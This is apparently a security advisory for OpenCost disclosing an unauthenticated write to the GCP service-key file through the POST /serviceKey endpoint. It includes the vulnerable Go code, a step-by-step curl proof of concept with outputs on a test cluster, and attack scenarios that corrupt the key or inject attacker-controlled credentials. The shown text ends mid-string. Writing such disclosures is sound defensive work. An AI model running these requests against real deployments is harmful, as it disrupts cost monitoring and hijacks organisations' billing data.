Résumé

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

Détails de l’avis

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.


Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured

Step 1: Create Namespace

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration:

  • CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s

Step 5: Verify Service Accessibility

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit

MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file


Impact Analysis

Direct Impact

Impact Type Severity Description
Unauthorized Credential Overwrite High Attacker can overwrite GCP service account key file content
No Authentication Required High Vulnerability can be exploited without any credentials
CORS Misconfiguration Medium Allows cross-origin attacks via malicious websites
Fixed File Path Low Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

  1. Attacker sends POST request with invalid JSON or malformed GCP key
  2. /serviceKey endpoint accepts request and overwrites existing key.json file
  3. OpenCost attempts to access GCP API with corrupted credentials
  4. GCP integration fails, cost data collection stops

Technical Details:

# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

  • Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
  • Operational Impact: FinOps processes dependent on cost data are blocked
  • Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)


Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

  1. Attacker creates their own GCP project and service account
  2. Injects attacker-controlled valid GCP credentials into OpenCost
  3. OpenCost uses attacker's credentials to send requests to GCP Billing API
  4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "opencost-hijack@attacker-project

Références